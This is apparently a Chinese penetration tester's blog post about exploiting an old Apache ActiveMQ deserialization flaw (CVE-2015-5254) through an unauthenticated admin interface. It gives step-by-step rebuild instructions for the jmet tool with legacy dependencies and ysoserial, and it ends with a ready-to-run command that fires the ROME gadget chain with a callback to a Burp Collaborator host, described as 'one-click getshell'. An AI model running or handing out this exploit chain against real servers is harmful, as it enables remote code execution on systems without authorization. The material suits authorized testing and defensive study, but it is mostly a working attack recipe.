在一次渗透测试过程中,发现内网有一些activemq版本很老(2010年前的),但是并没有/fileserver这个路径意味着没法用 CVE-2016-3088(猜测经过加固), 不过幸运的是/admin没有授权就能访问意味着有主动触发CVE-2015-5254的可能性,猜测这种偏门的java洞可能被加固人员忽略,所以抄起 jmet 试了一下。回显如下
看样子是失败了,经过一番谷歌过后看到github上有如下回答,猜测是因为activemq所依赖的包版本过老而jmet依赖的包比较新所以打不成功。
正如github上这个老外所说需要加入legacy。
<dependency> <groupId>org.apache.activemq</groupId> <artifactId>activemq-openwire-legacy</artifactId> <version>5.15.11</version> </dependency>
既然问题问题出在依赖上就意味着要重新编译,踩了一些坑下面记录一下。
jmet可以攻击多种软件,有一些是商业的软件我们搞不到对应的jar,所以删除下面两个java。
rm -f src/main/java/de/codewhite/jmet/target/impl/WebSphereMQTarget.java rm -f src/main/java/de/codewhite/jmet/target/impl/SwiftMQTarget.java
另外注意到jmet是依赖于ysoserial
并且我们后续也会用到,奈何没找到什么中央仓库提供这种黑客依赖。无奈需要自己到导入
mvn install:install-file -DgroupId=ysoserial -DartifactId=ysoserial -Dversion=0.0.5-SNAPSHOT -Dpackaging=jar -Dfile=
编译
export MAVEN_OPTS=-Xss10m mvn clean compile assembly:single
然后就可以快乐的一键getshell了。
proxychains java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "ping -n 1 wyyekrec31qzxtpc4kq636jbi2otci.burpcollaborator.net" -Yp ROME ip port